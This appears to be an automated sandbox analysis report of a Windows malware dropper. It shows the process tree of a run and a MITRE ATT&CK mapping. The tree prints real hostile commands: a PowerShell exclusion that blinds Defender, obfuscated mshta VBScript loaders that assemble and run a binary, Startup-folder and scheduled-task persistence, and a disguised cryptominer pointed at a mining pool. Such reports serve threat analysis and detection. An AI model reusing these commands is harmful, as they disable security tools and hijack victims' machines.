- - C:\Users\Admin\AppData\Local\Temp\7zS431CF506\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS431CF506\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:956
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      PID:1744
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2028
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20762bc3f6.exe
      4⤵
      Loads dropped DLL
      PID:1020
    - - C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon20762bc3f6.exe
        
        Mon20762bc3f6.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1544
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon206b909958ed4.exe /mixone
      4⤵
      Loads dropped DLL
      PID:1692
    - - C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon206b909958ed4.exe
        
        Mon206b909958ed4.exe /mixone
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1612
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Mon206b909958ed4.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon206b909958ed4.exe" & exit
        6⤵
        
        PID:2660
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Mon206b909958ed4.exe" /f
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2700
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20927aab1e5.exe
      4⤵
      Loads dropped DLL
      PID:1924
    - - C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon20927aab1e5.exe
        
        Mon20927aab1e5.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        
        PID:996
      - C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon20927aab1e5.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon20927aab1e5.exe
        6⤵
        Executes dropped EXE
        
        PID:1748
      - C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon20927aab1e5.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon20927aab1e5.exe
        6⤵
        Executes dropped EXE
        
        PID:2192
      - C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon20927aab1e5.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon20927aab1e5.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2424
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon204014f13870f5e.exe
      4⤵
      Loads dropped DLL
      PID:1816
    - - C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon204014f13870f5e.exe
        
        Mon204014f13870f5e.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1616
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon203f01ac7e6.exe
      4⤵
      Loads dropped DLL
      PID:1668
    - - C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon203f01ac7e6.exe
        
        Mon203f01ac7e6.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1160
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon203f01ac7e6.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon203f01ac7e6.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        6⤵
        
        PID:1700
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon203f01ac7e6.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon203f01ac7e6.exe") do taskkill /F -Im "%~NxU"
        7⤵
        Loads dropped DLL
        
        PID:1996
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F -Im "Mon203f01ac7e6.exe"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1756
        
        C:\Users\Admin\AppData\Local\Temp\09xU.exE
        
        09xU.EXE -pPtzyIkqLZoCarb5ew
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1392
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        9⤵
        
        PID:916
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
        10⤵
        
        PID:2124
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
        9⤵
        
        PID:2276
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
        10⤵
        
        PID:2344
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" eCHO "
        11⤵
        
        PID:2392
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
        11⤵
        
        PID:2408
        
        C:\Windows\SysWOW64\control.exe
        
        control .\R6f7sE.I
        11⤵
        
        PID:2452
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
        12⤵
        Loads dropped DLL
        
        PID:2520
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
        13⤵
        
        PID:2536
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
        14⤵
        
        PID:920
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon206d48916f93c5.exe
      4⤵
      Loads dropped DLL
      PID:704
    - - C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon206d48916f93c5.exe
        
        Mon206d48916f93c5.exe
        5⤵
        Executes dropped EXE
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:800
      - C:\Users\Admin\AppData\Roaming\8069061.scr
        
        "C:\Users\Admin\AppData\Roaming\8069061.scr" /S
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3048
      - C:\Users\Admin\AppData\Roaming\1917170.scr
        
        "C:\Users\Admin\AppData\Roaming\1917170.scr" /S
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:2100
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        Executes dropped EXE
        
        PID:2560
      - C:\Users\Admin\AppData\Roaming\3346569.scr
        
        "C:\Users\Admin\AppData\Roaming\3346569.scr" /S
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:2072
      - C:\Users\Admin\AppData\Roaming\4278010.scr
        
        "C:\Users\Admin\AppData\Roaming\4278010.scr" /S
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2212
      - C:\Users\Admin\AppData\Roaming\7853792.scr
        
        "C:\Users\Admin\AppData\Roaming\7853792.scr" /S
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:836
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon209c830507d573.exe
      4⤵
      Loads dropped DLL
      PID:1904
    - - C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon209c830507d573.exe
        
        Mon209c830507d573.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        
        PID:1780
      - C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon209c830507d573.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon209c830507d573.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:1476
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon2083f8d8970a0b2d.exe
      4⤵
      Loads dropped DLL
      PID:1340
    - - C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon2083f8d8970a0b2d.exe
        
        Mon2083f8d8970a0b2d.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:1976
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20d3b8b752.exe
      4⤵
      Loads dropped DLL
      PID:1448
    - - C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon20d3b8b752.exe
        
        Mon20d3b8b752.exe
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        
        PID:1088
      - C:\Users\Admin\Pictures\Adobe Films\Ah_jIRXxKtaS7pxW24I5sbRv.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Ah_jIRXxKtaS7pxW24I5sbRv.exe"
        6⤵
        Executes dropped EXE
        
        PID:2584
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 744
        6⤵
        Loads dropped DLL
        Program crash
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:2896
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon209b3da1556b9a317.exe
      4⤵
      Loads dropped DLL
      PID:1732
    - - C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon209b3da1556b9a317.exe
        
        Mon209b3da1556b9a317.exe
        5⤵
        Executes dropped EXE
        
        PID:1684
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        
        PID:2944
        
        C:\Users\Admin\AppData\Local\Temp\inst1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2184
        
        C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:816
        
        C:\Users\Admin\AppData\Roaming\1342912.scr
        
        "C:\Users\Admin\AppData\Roaming\1342912.scr" /S
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3044
        
        C:\Users\Admin\AppData\Roaming\8173728.scr
        
        "C:\Users\Admin\AppData\Roaming\8173728.scr" /S
        8⤵
        Executes dropped EXE
        Suspicious behavior: SetClipboardViewer
        
        PID:2672
        
        C:\Users\Admin\AppData\Roaming\7622939.scr
        
        "C:\Users\Admin\AppData\Roaming\7622939.scr" /S
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:2696
        
        C:\Users\Admin\AppData\Roaming\6627024.scr
        
        "C:\Users\Admin\AppData\Roaming\6627024.scr" /S
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1376
        
        C:\Users\Admin\AppData\Roaming\7513334.scr
        
        "C:\Users\Admin\AppData\Roaming\7513334.scr" /S
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:2308
        
        C:\Users\Admin\AppData\Roaming\5242572.scr
        
        "C:\Users\Admin\AppData\Roaming\5242572.scr" /S
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3180
        
        C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe"
        7⤵
        Executes dropped EXE
        
        PID:2320
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2320 -s 956
        8⤵
        Program crash
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:3476
        
        C:\Users\Admin\AppData\Local\Temp\4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\4.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2300
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        Executes dropped EXE
        
        PID:2180
        
        C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe"
        9⤵
        Executes dropped EXE
        
        PID:620
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\
        10⤵
        
        PID:3136
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\
        11⤵
        
        PID:3300
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN sqtvvs.exe /TR "C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe" /F
        10⤵
        Creates scheduled task(s)
        
        PID:3204
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        
        PID:1752
        
        C:\Users\Admin\AppData\Local\Temp\is-QMERU.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-QMERU.tmp\setup.tmp" /SL5="$301B8,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
        8⤵
        Executes dropped EXE
        
        PID:1212
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        9⤵
        Executes dropped EXE
        
        PID:1060
        
        C:\Users\Admin\AppData\Local\Temp\is-IFHI7.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-IFHI7.tmp\setup.tmp" /SL5="$401B8,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        10⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        
        PID:2380
        
        C:\Users\Admin\AppData\Local\Temp\is-PDBC5.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-PDBC5.tmp\postback.exe" ss1
        11⤵
        Executes dropped EXE
        
        PID:3604
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2572
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:3284
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:3304
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:1396
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:1372
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:3944
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        Executes dropped EXE
        
        PID:4092
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3196
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20b6f9d5bd03a305.exe
      4⤵
      Loads dropped DLL
      PID:1972
    - - C:\Users\Admin\AppData\Local\Temp\7zS431CF506\Mon20b6f9d5bd03a305.exe
        
        Mon20b6f9d5bd03a305.exe
        5⤵
        Executes dropped EXE
        
        PID:544

C:\Users\Admin\AppData\Local\Temp\4318.exe
C:\Users\Admin\AppData\Local\Temp\4318.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:640

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2128410460-623893896-2070696942-1303706238-4798896071306064924-1636846508684756635"
1⤵
PID:2344

C:\Users\Admin\AppData\Local\Temp\931C.exe
C:\Users\Admin\AppData\Local\Temp\931C.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:2616

C:\Windows\system32\taskeng.exe
taskeng.exe {13A5B503-E81C-4D90-B7CC-5D724DD2DC7F} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]
1⤵
PID:3984
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:3980
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:1228
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:3096
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:3252
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:1332
- C:\Users\Admin\AppData\Roaming\hedggjf
  C:\Users\Admin\AppData\Roaming\hedggjf
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:3320
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:1912
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:2236
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:3252
- C:\Program Files\Mozilla Firefox\default-browser-agent.exe
  "C:\Program Files\Mozilla Firefox\default-browser-agent.exe" do-task
  2⤵
  PID:572
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:2236
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:3816
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:3824
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:2360
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:3992
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:3888
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:1812
- C:\Users\Admin\AppData\Roaming\hedggjf
  C:\Users\Admin\AppData\Roaming\hedggjf
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:2684
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:3328
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:3568
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:1904
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:2952
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:1792
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:2468
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:2576
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:2140
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:1356
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:3832
- C:\Users\Admin\AppData\Roaming\hedggjf
  C:\Users\Admin\AppData\Roaming\hedggjf
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:1416
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:2120
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:1356
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:3648

C:\Windows\system32\taskeng.exe
taskeng.exe {687B4C50-3B69-45B3-B107-19F8B99FE4BC} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1000

C:\Windows\system32\taskeng.exe
taskeng.exe {96D1E6CC-4F14-4198-B4A9-E43DF83B2743} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:3956

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery